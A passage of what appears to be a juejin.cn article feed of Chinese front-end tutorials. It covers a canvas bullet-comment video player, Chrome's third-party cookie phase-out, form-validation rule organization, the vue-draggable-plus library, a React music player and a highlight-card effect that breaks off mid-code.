beginPath就是让画笔落在纸上


moveTo接收的一个起始位置坐标


两个lineTo是终点坐标


closePath将所有点连接起来,stroke开始画,一定要有stroke,否则没有效果


3.png


当然,你也可以对其填充


        ctx.beginPath()
ctx.moveTo(10, 10)
ctx.lineTo(10, 55)
ctx.lineTo(55, 10)
ctx.fill()

默认颜色黑色


4.png


当然,你也可以画贝塞尔曲线(bezierCurve):不规则的曲线,这个内容我这里不做介绍,方法可以网上自寻搜索


再来画个圆


    let canvas = document.getElementById("canvas")
let ctx = canvas.getContext("2d")
ctx.arc(50,50,40,0,2 * Math.PI)
ctx.stroke()

arc方法用于画圆或圆弧,前两个参数为圆心坐标,第三个参数为圆的半径,第四个参数是起始角度(通常为0,三点钟方向),最后一个参数为终止角度。


5.png


绘制文本


    let canvas = document.getElementById("canvas")
let ctx = canvas.getContext("2d")
ctx.font = '50px sans-serif'
ctx.fillText('床前明月光',10, 100)

fillText中后两个参数为起始坐标,strokeText绘制的是空心字


6.png


如果两个fillText的起始坐标一样,就可以重叠在一起,我现在再加一句同其实坐标的文字


7.png


B站弹幕其实就是用的画布,但是实现起来还是比较困难,为了方便文章排版,注释都放在了代码里面


b站弹幕


html部分


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
#canvas {
position: absolute;
}
/* 宽高不在css设置,是因为是和视频一起变化,动态的,用js */
</style>
</head>
<body>
<div class="wrap">
<h1>Peaky Blinders</h1>
<div class="main">
<canvas id="canvas"></canvas>
<video src="./video.mp4" id="video" controls="true" width="720" height="480"></video>
</div>
<div class="content">
<input type="text" id="text">
<input type="button" value="发弹幕" id="btn">
<!-- 取色器 -->
<input type="color" id="color">
<!-- 控制弹幕的大小 -->
<input type="range" id="range" max="40" min="20">
</div>
</div>
<script src="./index.js"></script>
<!-- 执行js 后加载js js可能是本地文件,也可能是在线地址,如果放在开头,执行这个的时候会堵住html的加载,甚至会报错,读取canvas都不知道,如果保证js内容在页面加载完毕后执行也可以放在前面,就是window.onload这个方法 -->
</body>
</html>

js部分


// 这个js代码很难写,一般高级程序员才会这样写
// window.onload = function(){}
// 1.读取用户内容 2.把内容颜色大小放到画布上,绘制
// 历史弹幕,数组(里面放对象)还要接受新的弹幕,到了时间就绘制,要递归
let data = [
{ value: 'By order of the peaky bliears', color: 'red', fontSize: 22, time: 5 },
{ value: 'No Fucking Fighting', color: 'green', fontSize: 30, time: 10},
{ value: 'Fucking Shelby', color: 'black', fontSize: 22, time: 22}
]
// 整理弹幕数据,弹幕的y,历史弹幕问题 形参跟外面的一样没毛病,辨识度更高,代码太多了abc是啥都不知道,都可以 ,形参可以默认值,万一没有传值呢
function CanvasBarrage(canvas, video, opts = {}){
if(!canvas || !video) return
this.video = video
this.canvas = canvas
// 伪代码 canvas 宽高 和 video宽高保持一致
// canvas.width = style.width style读取宽高,js设置宽高
this.canvas.width = video.width
this.canvas.height = video.height
// 获取画布
this.ctx = canvas.getContext("2d")
// 初始化代码
// 没有认为修改弹幕的设置,默认值
let defOpts = {
color: '#e91e63',
fontSize: 20,
speed: 1.5,
// 透明度
opacity: 0.5,
data: []
//value和time不需要默认值
}
Object.assign(this, defOpts, opts)
// 视频播放,弹幕才会进行绘制
this.isPaused = true
// 默认暂停
// 获取到所有的弹幕 map(返回一个新的数组)里面是箭头函数(把item交给一个新的箭头函数) map循环了,每个弹幕都被修饰了一下
this.barrages = this.data.map((item) => new Barrage(item, this))
this.render()
}
Barrage.prototype.init = function(){
// 左边是自己新建的右边是传进来的,如果第一个是没有的,就是给出的默认的颜色
this.color = this.obj.color || this.context.color
this.speed = this.obj.speed || this.context.speed
this.opacity = this.obj.opacity || this.context.opacity
this.fontSize = this.obj.fontSize || this.context.fontSize

let p = document.createElement('p')
// 让字体大小等于设置的大小
p.style.fontSize = this.fontSize + 'px'
p.innerHTML = this.value
document.body.appendChild(p)
// 右边是获取这个容器的宽度
this.width = p.offsetWidth
// 放完之后要删掉
document.body.removeChild(p)
// 设置弹幕的位置
this.x = this.context.canvas.width
// y的高度是随机值
this.y = this.context.canvas.height * Math.random()
// 弹幕可能上下方超出边界
if(this.y < this.fontSize){
this.y = this.fontSize
}else if(this.y > this.context.canvas.height - this.fontSize){
this.y = this.context.canvas.height - this.fontSize
}
}

// Barrage 修饰一条弹幕 为箭头函数那里服务 (实例对象,this对象)
function Barrage(obj, context){
this.value = obj.value
this.time = obj.time
// 挂在构造函数中后面更方便
this.obj = obj
this.context = context
}

CanvasBarrage.prototype.clear = function(){
this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height)
}
// 将这条弹幕会绘制在画布上
Barrage.prototype.renderEach = function(){
// canvas绘制过程
// 设置画布的文字字体,字号
// 设置画布的文字颜色
// 绘制颜色
this.context.ctx.font = `${this.fontSize}px Arial`
this.context.ctx.fillStyle = this.color
this.context.ctx.fillText(this.value, this.x, this.y)
}
// 将弹幕绘制到画布上
CanvasBarrage.prototype.renderBarrages = function(){
// 伪代码 拿到视频播放的当前时间,根据时间绘制
let time = this.video.currentTime
// 遍历所有的弹幕
this.barrages.forEach(function(barrage){
// 出屏之外之后就不用再操作了
if(time >= barrage.time && !barrage.flag){
// 这属性没有就是false 这个操作就是为了防止放过了的弹幕不需要初始化
if(!barrage.isInit){
barrage.init()
barrage.isInit = true
}
// 控制弹幕左移
barrage.x -= barrage.speed
// rednerEach相当于ctx.fillstyle
barrage.renderEach()
// 弹幕是有长度的
if(barrage.x < -barrage.width){
barrage.flag = true
}
}
})
}
// 这里就是render ,把弹幕弄到画布中
CanvasBarrage.prototype.render = function(){
// 清除画布,习惯问题
this.clear()
// 要先绘制才能操作画笔,并且要向左移动
this.renderBarrages()
// 播放状态才能移动
if(!this.isPaused){
// setInterval这里不用,下面定时器的更高级,16.7ms(内定时间)之后就执行一次,递归之后就是一直循环下去
requestAnimationFrame(this.render.bind(this))
// bind(this)以后再讲
}
}
// 添加新的弹幕
CanvasBarrage.prototype.add = function(obj){
// barrages是终极数组,data修饰之后的
// this.barrages16.7ms之后也会重修渲染一次
this.barrages.push(new Barrage(obj,this))
}
// 传的参数是canvas和video dom结构 opts是一个对象含value color time fontSize 这个会替代掉,合并对象,相同的覆盖,不同的加进去
let canvas = document.getElementById('canvas')
// video知道此时视频多少秒
let video = document.getElementById('video')
// $没有意义,区分罢了
let $text = document.getElementById('text')
let $btn = document.getElementById('btn')
let $color = document.getElementById('color')
let $range = document.getElementById('range')
// 整理弹幕的实例对象
// 对象里key和value可以直接由{data: data}变成{data}
let canvasBarrage = new CanvasBarrage(canvas, video, {data})
// play是播放,处理所有弹幕实例对象
video.addEventListener('play',function(){
canvasBarrage.isPaused = false
// 处理每一条弹幕,canvasBarrage相当于一个管家
canvasBarrage.render()
})

function send(){
// 读取文本内容
let value = $text.value
// video 自带一个属性读取时间
let time = video.currentTime
let color = $color.value
let fontSize = $range.value
// 把上面的内容整理成一个对象,交给函数去操作
let obj = {
value: value,
color: color,
fontSize: fontSize,
time: time
}
// 多么希望add可以把obj放进去,接收新的弹幕,处理弹幕再走一遍send
canvasBarrage.add(obj)
}
$btn.addEventListener('click', send)
$text.addEventListener('keyup',function(e){

console.log(e);
if(e.keyCode === 13){
send()
}

})


  1. 数据结构:

    • data 数组包含表示单个弹幕项的对象。每个对象具有诸如 value(文本内容)、colorfontSizetime(显示时间)等属性。



  2. CanvasBarrage 类:

    • CanvasBarrage 是一个构造函数,用于初始化弹幕系统。

    • 它接受一个画布元素、一个视频元素和可选的配置选项。

    • 默认选项(defOpts)包括诸如 colorfontSizespeedopacitydata 等属性。

    • 根据提供的数据创建了一个 Barrage 对象的数组。

    • render 方法负责在画布上渲染和动画弹幕。

    • clear 方法在渲染之前清除画布。



  3. Barrage 类:

    • Barrage 是用于单个弹幕项的构造函数。

    • 它接受一个对象(obj)和一个上下文(context),即 CanvasBarrage 的实例。

    • init 方法使用属性如 colorspeedopacityfontSizewidthxy 初始化弹幕项。

    • renderEach 方法在画布上渲染单个弹幕项。



  4. 渲染和动画:

    • renderBarrages 方法负责根据当前视频时间渲染所有弹幕项。

    • render 方法使用 requestAnimationFrame 不断调用自身以进行连续动画。

    • add 方法允许向系统添加新的弹幕项。



  5. 事件监听器:

    • 对视频的 play 事件监听器触发在视频播放时渲染弹幕。

    • 对按钮($btn)的 click 事件监听器触发 send 函数以添加新的弹幕。

    • 对文本输入框($text)的 keyup 事件监听器在按下Enter键时触发 send 函数。



  6. 用户输入处理:

    • send 函数读取输入值(文本、时间、颜色、fontSize)并创建一个新的弹幕对象,然后将其添加到弹幕系统中。



  7. 初始化:

    • 使用画布、视频和提供的数据创建了 CanvasBarrage 的实例。



  8. 使用:

    • 当视频播放时,弹幕系统开始渲染,并且用户可以使用提供的输入元素添加新的弹幕




效果如下:


效果.gif




如果觉得本文对你有帮助的话,可以给个免费的赞吗[doge] 还有可以给我的gitee链接codeSpace: 记录coding中的点点滴滴 (gitee.com)点一个免费的star吗[星星眼]


作者:Dolphin_海豚
来源:juejin.cn/post/7302310196311719988
收起阅读 »

重要提醒!第三方 Cookie 即将被禁用

web
Chrome 浏览器计划从 2024 年第一季度开始禁用 1% 用户的第三方 Cookie,以方便测试,然后在 2024 年第三季度逐步覆盖到 100% 用户。Chrome 推出了一系列API,为诸如身份验证、广告和欺诈检测等用例提供了以隐私为重点的替代方案。...
继续阅读 »

chrome-4.webp


Chrome 浏览器计划从 2024 年第一季度开始禁用 1% 用户的第三方 Cookie,以方便测试,然后在 2024 年第三季度逐步覆盖到 100% 用户。Chrome 推出了一系列API,为诸如身份验证、广告和欺诈检测等用例提供了以隐私为重点的替代方案。


本文将带您了解禁用时间表,建议您立即采取行动,以确保您的网站做好准备。


1.禁用时间表


privacysandbox.com 的时间轴上,可以看到 2023 年第四季度和 2024 年第一季度将有两个里程碑,作为 Chrome 辅助测试模式的一部分。该测试主要针对测试隐私沙盒相关性和测量 API 的组织,但作为测试的一部分,将对 1% 的 Chrome 稳定版用户禁用第三方 cookies。


配图:时间表


这意味着从 2024 年开始,即使您没有积极参与 Chrome 浏览器辅助测试,您也可以预期在您的网站上看到越来越多的 Chrome 浏览器用户禁用了第三方 Cookie。这一测试周期将持续到 2024 年第三季度,届时将禁用所有 Chrome 浏览器用户的第三方 Cookie。


2.需要做哪些准备?


为确保您的网站在没有第三方 cookie 的情况下可以正常运行,需要做好以下准备:



  • 梳理第三方 cookie 的使用情况。

  • 进行破坏测试。

  • 对于存储在每个网站上的跨站点 cookie(例如嵌入式 cookie),请考虑使用 CHIPS 进行分区。

  • 对于在一小组相关联网站之间的跨站点 cookie,请考虑使用相关网站集。

  • 对于其他第三方 cookie 的使用情况,请迁移到相关的 Web API。


2.1.梳理第三方 cookie 的使用情况


Chrome开发者工具的网络面板显示请求中设置和发送的Cookie。在应用程序面板中,在存储下可以看到Cookie标题。您可以浏览每个访问的站点存储的Cookie,作为页面加载的一部分。您可以按照SameSite列进行排序,以将所有 Cookie分组。


第三方 cookie 可以通过其 SameSite= 值来识别。您应该搜索代码以查找将 SameSite 属性设置为此值的实例。如果您在 2020 年左右之前对添加 SameSite= 到您的 Cookie 进行了更改,那么这些更改可能是一个很好的起点。


Chrome DevTools 网络面板显示根据请求设置和发送的 cookie。在 Application 面板中,您可以在 Storage 下看到 Cookie。您可以浏览为页面加载过程中访问的每个站点存储的 cookie。您可以按列 SameSite 排序以对所有 值的 cookie 进行分组。


从 Chrome 118 开始,DevTools 问题选项卡显示了重大更改问题:"跨站点上下文中发送的 Cookie 将在未来的 Chrome 版本中被阻止", 该问题列出了当前页面可能受影响的 cookie。


chrome-issue-cookie.png


如果您发现第三方设置的 cookie,您应该与这些提供商核实,看看他们是否有逐步淘汰第三方 cookie 的计划。例如,您可能需要升级正在使用的库的版本、更改服务中的配置选项,或者如果第三方正在自行处理必要的更改,则不采取任何操作。


2.2.进行破坏测试


您可以使用 --test-third-party-cookie-phaseout 命令行标志或从Chrome 118开始,使用 chrome://flags/#test-third-party-cookie-phaseout 启用。这将设置 Chrome 阻止第三方 cookie,并确保新功能和缓解措施处于活动状态,以最佳模拟淘汰后的状态。


您也可以尝试通过 chrome://settings/cookies 阻止第三方 cookie 进行浏览,但请注意,该标志也确保了新功能和更新功能的启用。阻止第三方cookie是检测问题的好方法,但并不一定能验证您已经修复了问题。


如果您为您的网站保持一个活跃的测试套件,那么您应该进行两次并行运行:一次是使用常规设置运行的Chrome,一次是使用启用--test-third-party-cookie-phaseout 标志启动的相同版本的 Chrome。第二次运行中的任何测试失败而第一次运行中没有的都是需要调查的第三方cookie依赖的好候选项。请确保报告您发现的问题。


一旦您确定了存在问题的cookie并了解了它们的用例,您可以通过以下选项来选择必要的解决方案。


2.3.将 Partitioned cookie 与 CHIPS 结合使用


如果您的第三方 Cookie 在与顶级站点进行 1:1 嵌入的上下文中使用,则可以考虑使用带有独立分区状态的 Cookie(CHIPS)的分区属性,以允许使用每个站点使用的单独的 Cookie 进行跨站点访问。


partitioned.png


要实现 CHIPS,您需要将 Partitioned 属性添加到您的 Set-Cookie 头中:


通过设置 Partitioned,该网站选择将 cookie 存储在由顶级网站分隔的单独的 cookie 存储区。在上面的示例中,cookie 来自store-finder.site,该网站托管了一个店铺地图,用户可以保存他们喜欢的店铺。通过使用 CHIPS,当 brand-a.site 嵌入store-finder.site 时,fav_store cookie 的值为123。然后,当 brand-b.site 也嵌入 store-finder.site 时,他们将设置并发送自己分隔的fav_store cookie 实例,例如值为456。


这意味着嵌入式服务仍然可以保存状态,但没有允许跨站点跟踪的共享跨站点存储。


潜在的使用案例:第三方聊天嵌入、第三方地图嵌入、第三方支付嵌入、子资源内容分发网络(CDN)负载均衡、无头内容管理系统提供商、用于提供不受信任的用户内容的沙盒域名、使用 Cookie 进行访问控制的第三方 CDN、需要在请求中添加 Cookie 的第三方 API 调用、按发布商进行状态范围的嵌入广告。


2.4.使用相关网站集


当仅在一小部分相关网站上使用第三 Cookie 时,您可以考虑使用相关网站集合(RWS),以便在这些定义的网站上上下文中允许跨站点访问该Cookie。


要实施 RWS,您需要定义并提交网站组。为确保这些网站之间存在有意义的关联,有效集合的策略要求按以下方式对这些网站进行分组:具有可见关联的相关网站(如公司产品的变体)、服务域(如 API、CDN)或国家代码域(如 .uk、.jp)。


RWS.png


网站可以使用 Storage Access API 来请求跨站点的 Cookie 访问权限,使用 requestStorageAccess() 方法或使用requestStorageAccessFor() 方法委派访问权限。当网站在同一组中时,浏览器会自动授予访问权限,并且跨站点的 Cookie将可用。


这意味着相关网站的组仍然可以在有限的上下文中使用跨站点的 Cookie,但不会冒着以允许跨站点追踪的方式在不相关的站点之间共享第三方cookie的风险。


潜在的用例包括:特定于应用程序的域,特定于品牌的域,特定于国家的域,用于提供不受信任的用户内容的沙盒域,用于API的服务域,CDN。


2.5.迁移到相关的 Web API


CHIPS 和 RWS 能够在保护用户隐私的同时实现特定类型的跨站点 Cookie访问,但是其他使用第三方 Cookie 的实例必须迁移到以隐私为重点的替代方案。


Privacy Sandbox 提供了一系列针对特定用例的专用API,无需使用第三方cookie:



  • 联合身份管理(FedCM)允许用户登录到站点和服务。

  • 私有状态令牌通过在站点之间交换有限的、非识别信息,实现反欺诈和反垃圾邮件功能。

  • 主题功能实现基于兴趣的广告和内容个性化。

  • 受保护的受众功能实现再营销和自定义受众。

  • 属性报告功能实现广告展示和转化的测量。


此外,Chrome 还支持 Storage Access API (SAA),用于用户交互框架中的使用。SAA 已经在 Edge,Firefox 和 Safari 上得到支持。我们认为它在保持用户隐私的同时,仍然能够实现关键的跨站点功能,并具有跨浏览器的兼容性。


请注意,Storage Access API (SAA) 将向用户显示浏览器权限提示。为了提供最佳的用户体验,只有在调用 requestStorageAccess() 的站点与嵌入页面进行交互并之前在顶级上下文中访问过第三方站点时,才会提示用户。成功授权将允许该站点在 30 天内跨站点访问 Cookie。可能的用例包括认证的跨站点嵌入,如社交网络评论小部件、支付提供商、订阅视频服务。


如果您仍然有未被这些选项覆盖的第三方 Cookie 用例,您应该向 Chrome 团队报告该问题,并考虑是否有不依赖于启用跨站点跟踪的功能的替代实现。


作者:FED实验室
来源:juejin.cn/post/7302330573381156876
收起阅读 »

阁下,您的表单校验规则还维护的动吗?

web
表单校验是前端项目广泛存在的一个功能,因为Ant Design的引入,所谓的表单校验功能其实已经被抽象成了一个又一个的表单校验规则。以前并未注意到表单校验规则的可维护性,哪个组件用到,就在组件内完成即可。直到PM问了我2个问题: “我们的账号名字符数限制区间是...
继续阅读 »

表单校验是前端项目广泛存在的一个功能,因为Ant Design的引入,所谓的表单校验功能其实已经被抽象成了一个又一个的表单校验规则。以前并未注意到表单校验规则的可维护性,哪个组件用到,就在组件内完成即可。直到PM问了我2个问题:


“我们的账号名字符数限制区间是多少?”


“项目中所有涉及命名的字符数都要限制在3-26个,啥时候能改好?”


“好的”,我习惯性的打开了编辑器全局搜索。。。


后来的日子以上对话又重复了好几轮,每次内容略有不同啊!终于无法忍受的我开始动手对这部分内容专门做了重构,经过几个版本的迭代,似乎已经找到了一个好的方案将前端项目中的众多表单校验规则维护得体,便记下此文与各位前端大佬分享探讨。


影响维护性的几个问题



  1. 校验规则靠近并耦合业务组件,散落在项目各处

  2. 校验规则的复用

  3. 校验规则难以理解和可读

  4. 需要传参的校验规则

  5. 异步校验的规则


可维护的方案


image.png



该方案将所有的表单校验规则整理在src/formRules目录下统一管理,带来的收益是明显的:统一管理本身解决了问题1;./rules.ts & ./rulesHooks.tsx 作为所有业务组件消费校验规则的统一输出口,针对了问题1、2;./baseRuleCreator.tsx 针对了问题4;./baseSemiRule.tsx & ./utils.ts 针对了问题5;问题3么写注释就好了!



我们来看具体的内容:


./baseRules.tsx


// 必填的
export const requiredRule: RuleObject = {
required: true,
}

// 输入必须以字母开头
export const startLetterRule: RuleObject = {
pattern: /^[a-zA-Z]/,
message: 'Must start with a letter',
}

可以看到我们将表单校验规则拆成了原子级别,相同的规则我们只会写1遍,意外的收益在于每个校验报错信息也将是精准的。


./rules.ts


// Email
export const emailRules: RuleObject[] = [requiredRule, emailPatternRule]

// 密码
export const passwordRules: RuleObject[] = [requiredRule, length8_32Rule, passwordBanRule]

我们在该文件下自由组合复用原子化的校验规则,并导出给业务组件消费,达到了复用的目的。如果业务校验规则有修改,我们也可以仅在该文件统一做修改,完成了业务逻辑与校验规则的解耦。


./baseRuleCreator.tsx


// 校验是否与目标值匹配
export function createMatchTargetValueRule(targetValue: any): RuleObject {
return {
message: 'Does not match',
validator(rule: Rule, value: string) {
return value === targetValue ? Promise.resolve() : Promise.reject()
},
}
}

很明显该文件放的规则都是需要有入参的,不再赘述。


./baseSemiRule.tsx


// 异步校验邮箱是否重复
export const duplicatingAccountEmailSemiRule: TSemiRule = {
message: 'Email already exists',
callbackValidator: (value, resolve, reject) => {
return fetch(value).then(res => (res.data.exists ? reject() : resolve(undefined)))
},
}

显然该文件放了需要网络异步校验的规则,但为什么被命名为Semi?难道阁下忘了防抖?虽然我们还需要一个防抖函数来统一加工这些校验规则才可实用。但非常棒的地方在于,这些规则在逻辑上已经自洽了,报错信息和校验逻辑都已经完整了。所以我们并不关心防抖函数的具体实现和校验规则在业务组件中的具体应用,如有修改则我们在这里维护即可,做到了关注点的分离。


./utils.ts


export function createDebounceRule(semiRule: TSemiRule): RuleObject {
const { message, callbackValidator, delayTime = 500 } = semiRule
let timeId: NodeJS.Timeout = null

return {
message,
validator(rule, value) {
return new Promise((resolve, reject) => {
clearTimeout(timeId)
timeId = setTimeout(() => {
callbackValidator(value, resolve, reject)
}, delayTime)
})
},
}
}

防抖函数的具体实现,不再赘述。


./rulesHooks.tsx


export function useVpcConnectionNameRules(target: string) {
const rules = useMemo(() => [
requiredRule,
startLetterRule,
createMatchTargetValueRule(target),
createDebounceRule(duplicatingAccountEmailSemiRule),
], [target])

return rules
}

需要入参的校验规则和异步校验规则利用hooks做抽象,实现复用。


千里之堤溃于蚁穴,勿以事小而不为!表单校验规则虽然是代码维护性一个鲜有前端boy关注的微小领域,但如果我们能关注到项目中一砖一瓦的维护性,则可以相信整个项目大厦也将是健壮无比的。



以上方案仅个人在项目中的实践,维护性的提升无可止境,各位前端大佬如有更好的方案,希望留言不吝赐教!



作者:阿佛加德奔
来源:juejin.cn/post/7259638617546637349
收起阅读 »

听别人说Vue的拖拽库都断代了,我第一个不服

web
vue-draggable-plus 前言 前段时间偶然翻掘金的过程中发现有人宣传 vue 的拖拽库断代了,那么我也来蹭一下热度。 Sortablejs Sortablejs 是一个功能强大的 JavaScript 拖拽库,并且提供了 vue 相关的组件 vu...
继续阅读 »

vue-draggable-plus


前言


前段时间偶然翻掘金的过程中发现有人宣传 vue 的拖拽库断代了,那么我也来蹭一下热度。


Sortablejs


Sortablejs 是一个功能强大的 JavaScript 拖拽库,并且提供了 vue 相关的组件 vue-draggable,并且在 vue3 的前期,提供了 vue-draggable-next,但是可能由于作者的生活过于繁忙的原因,这个库已经两年没有更新了,在当前 vue3 的版本中并不适用,于是乎本人突发奇想,写了一个 vue-draggable-plus(其实很久之前就写好了,没有可以宣传),它用于兼容 vue2.7vue3 以上的版本,下面我们来介绍一下它。


vue-draggable-plus


vue-draggable-plus 它用于延续 vue-draggable 核心理念,提供 vue 组件用于双向绑定数据列表,实现拖拽排序、克隆等功能,同时它还支持函数式、指令式的使用方式,让你使用起来更加方便,废话不多生活,我们先上图


2023-11-09 18.47.24.gif


更多演示请参考:demo


安装


npm install vue-draggable-plus

使用


vue-draggable-plus 支持三种使用方式:组件使用、函数式使用、指令式使用


下面我们来一一介绍:



  1. 组件式使用:


它和传统的vue组件的使用方式一样,支持双向绑定数据:


<template>
<VueDraggable
v-model="list"
:animation="150"
ghostClass="ghost"
@start="onStart"
@update="onUpdate"
>

<div
v-for="item in list"
:key="item.id"
>

{{ item.name }}
</div>
</VueDraggable>
</template>

<script setup lang="ts">
import { ref } from 'vue'
import { type UseDraggableReturn, VueDraggable } from 'vue-draggable-plus'
const list = ref([
{
name: 'Joao',
id: 1
},
{
name: 'Jean',
id: 2
},
{
name: 'Johanna',
id: 3
},
{
name: 'Juan',
id: 4
}
])

</script>

<style scoped>
.ghost {
opacity: 0.5;
background: #c8ebfb;
}
</style>



  1. 函数式使用:


<template>
<div
ref="el"
>

<div
v-for="item in list"
:key="item.id"
>

{{ item.name }}
</div>
</template>

<script setup lang="ts">
import { ref } from 'vue'
import { useDraggable } from 'vue-draggable-plus'
const list = ref([
{
name: 'Joao',
id: 1
},
{
name: 'Jean',
id: 2
},
{
name: 'Johanna',
id: 3
},
{
name: 'Juan',
id: 4
}
])
const el = ref()

const { start } = useDraggable(el, list, {
animation: 150,
ghostClass: 'ghost',
onStart() {
console.log('start')
},
onUpdate() {
console.log('update')
}
})
</script>

<style scoped>
.ghost {
opacity: 0.5;
background: #c8ebfb;
}
</style>

它就像你使用 vueuse 一样接受一个 element 的引用,和一个响应式列表数据



  1. 指令式使用


由于指令的特殊性,指令只能绑定您在 setup 中绑定的数据,它并不能支持异步绑定数据,如果您的数据来自于异步获取,那么请您使用组件或者函数式实现



<template>
<ul
v-draggable="[
list,
{
animation: 150,
ghostClass: 'ghost',
onUpdate,
onStart
}
]"
>
<li
v-for="item in list"
:key="item.id"
>
{{ item.name }}
</li>
</ul>
</template>

<script setup lang="ts">
import { ref } from 'vue'
import { vDraggable } from 'vue-draggable-plus'
const list = ref([
{
name: 'Joao',
id: 1
},
{
name: 'Jean',
id: 2
},
{
name: 'Johanna',
id: 3
},
{
name: 'Juan',
id: 4
}
])

function onStart() {
console.log('start')
}

function onUpdate() {
console.log('update')
}
</script>

<style scoped>
.ghost {
opacity: 0.5;
background: #c8ebfb;
}
</style>


指定目标容器


在 Sortablejs 官方以往的 Vue 组件中,都是通过使用组件作为列表的直接子元素来实现拖拽列表,当我们使用一些组件库时,如果组件库中没有提供列表根元素的插槽,我们很难实现拖拽列表,vue-draggable-plus 完美解决了这个问题,它可以让你在任何元素上使用拖拽列表,我们可以使用指定元素的选择器,来获取到列表根元素,然后将列表根元素作为 Sortablejs 的 container,我们来看一下用法:



  • Table.vue


<template>
<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
</tr>
</thead>
<tbody class="el-table"> <-- 我们会将 .el-table 的选择器传递给 vue-draggable-plus -->
<tr v-for="item in list" :key="item.name" class="cursor-move">
<td>{{ item.id }}</td>
<td>{{ item.name }}</td>
</tr>
</tbody>
</table>
</template>
<script setup lang="ts">
interface Props {
list: Record<'name' | 'id', string>[]
}
defineProps<Props>()
</script>


  • App.vue


<template>
<section>
<div>
<-- 传递 .el-table 作为根元素,将 .el-table 的子元素作为拖拽项 -->
<VueDraggable v-model="list" animation="150" target=".el-table">
<Table :list="list"></Table>
</VueDraggable>
</div>
<div class="flex justify-between">
<preview-list :list="list" />
</div>
</section>
</template>

<script setup lang="ts">
import { ref } from 'vue'
import { VueDraggable } from 'vue-draggable-plus'
import Table from './Table.vue'

const list = ref([
{
name: 'Joao',
id: '1'
},
{
name: 'Jean',
id: '2'
},
{
name: 'Johanna',
id: '3'
},
{
name: 'Juan',
id: '4'
}
])
</script>


来看效果:


2023-11-09 19.11.29.gif


结尾


如果您有使用需求,请参考文档:vue-draggable-plus,当然如果您不需要高度定制化,使用 vueuse 中的 useSortable 也是一样的。


如果它对您有用,请帮忙点个star:GitHub


友情链接:svelte-draggable-plus


作者:丶远方
来源:juejin.cn/post/7299353745506615347
收起阅读 »

一个 React 简易网页端音乐播放器

web
前言 这是一个轻量级的 react 音乐播放器,前端使用 UmiJS,后端采用网易云音乐 NODEJS API 制作。项目的 TS 声明写的比较乱,后续有空的话会发布重写 TS 的版本或者直接重构该播放器。 后续计划将右侧播放器抽离为一个单独的组件,可供页面直...
继续阅读 »

图片


前言


这是一个轻量级的 react 音乐播放器,前端使用 UmiJS,后端采用网易云音乐 NODEJS API 制作。项目的 TS 声明写的比较乱,后续有空的话会发布重写 TS 的版本或者直接重构该播放器。


后续计划将右侧播放器抽离为一个单独的组件,可供页面直接使用。


功能


现有功能



  1. 登陆 / 退出个人网易云账号

  2. 获取私人雷达歌单

  3. 播放歌曲

  4. 播放自己已有的网易云音乐歌单 / 订阅的歌单

  5. 单曲播放 / 全部循环 / 随机播放

  6. 搜索歌曲

  7. 背景图切换


计划中功能(先把饼画着)



  1. 音质选择

  2. 歌曲切换 -> 背景图变化

  3. 保存播放列表并同步到网易云

  4. 双语歌词对照

  5. 歌词自定义字体大小

  6. 歌曲查看评论 / 点赞 / 留言

  7. 详情页相似歌曲推荐

  8. 无版权歌曲或加载出错歌曲增加标记

  9. 将右侧播放器抽离成独立组件


比较有特色的地方


图片


1、右侧全局播放栏


播放栏可以清空播放列表,查看当前歌曲歌词,对播放列表的歌曲可以使用拖拽进行顺序调整。


2、主页左上角频谱图的实现


开始构建使用


1.安装项目


npm install

2.设置后台接口地址


第一个:网易云 NODEJS 服务器,到 src/utils/request.ts 将其设置为你的网易云后台 API 地址。


switch (process.env.NODE_ENV) {
case 'production':
// 你的生产环境地址 / Your production mode api
axios.defaults.baseURL = '';
break;

default:
// development
axios.defaults.baseURL = 'http://localhost:3000';
break;
}

第二个:天气地址,到 src/constant/api/weather.ts 进行设置。


然后到 src/redux/modules/Weather/action.ts 下根据你设置的天气接口改变传入数据结构,文件内均有注释。


      const info = {
// 空气质量
airQuailty: dewPt,
// 当前气温
currentTemp: temp,
// 体感气温
feelTemp: feels,
// 湿度
humidity: rh,
// 气压
baro,
// 天气描述,如晴或多云
weatherDescription: cap,
}

如果想高度自定义样式或内容的话可以到 src/pages/IndexPage/topRightWeather 进行调整。


打包发布


npm run build

部分功能预览


图片


图片


图片


作者:程序员Winn
来源:juejin.cn/post/7291960625462198324
收起阅读 »

炫酷的高亮卡片效果

web
前言 无意中在Nuxt官网发现一组高亮卡片元素的效果,发现还挺好看的,就自己试着写了一下,下面是Nuxt官网效果图,边框会随着鼠标移动,并且周围的卡片也会“染上”。 我实现的效果如下 实现过程 写好六个卡片 下面看代码,先用HTML写六个div元素,并...
继续阅读 »

前言



无意中在Nuxt官网发现一组高亮卡片元素的效果,发现还挺好看的,就自己试着写了一下,下面是Nuxt官网效果图,边框会随着鼠标移动,并且周围的卡片也会“染上”。



Video_2023-11-14_180220.gif


我实现的效果如下


Video_2023-11-14_175549-Trim.gif


实现过程


写好六个卡片


下面看代码,先用HTML写六个div元素,并设置好基础样式。


    <div class="box">
<div class="col">
<div class="element">
<div class="mask">
div>
div>
div>
<div class="col">
<div class="element">
<div class="mask">div>
div>
div>
<div class="col">
<div class="element">
<div class="mask">div>
div>
div>
<div class="col">
<div class="element">
<div class="mask">div>
div>
div>
<div class="col">
<div class="element">
<div class="mask">div>
div>
div>
<div class="col">
<div class="element">
<div class="mask">div>
div>
div>
<div class="col">
<div class="element">
<div class="mask">div>
div>
div>
<div class="col">
<div class="element">
<div class="mask">div>
div>
div>
div>

body {
margin: 0;
padding: 0;
display: flex;
min-height: 100vh;
align-items: center;
justify-content: center;
background-color: #0D1428;
}

.box {
width: 1200px;
display: flex;
flex-wrap: wrap;
}

.col {
width: calc((100% - 4 * 20px) / 4);
height: 180px;
padding: 10px;
}
.element {
background: #172033;
height: 100%;
position: relative;
border-radius: 10px;
}


image.png


JS获取卡片坐标距离鼠标坐标的距离


使用JS获取每一个卡片坐标距离鼠标坐标的距离,并将这个值设置到元素的style中作为一个变量。


var elements = document.getElementsByClassName("element");
// 添加鼠标移动事件监听器
document.addEventListener("mousemove", function (event) {
// 获取鼠标位置
var mouseX = event.pageX;
var mouseY = event.pageY;

// 遍历元素并输出距离鼠标的坐标
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
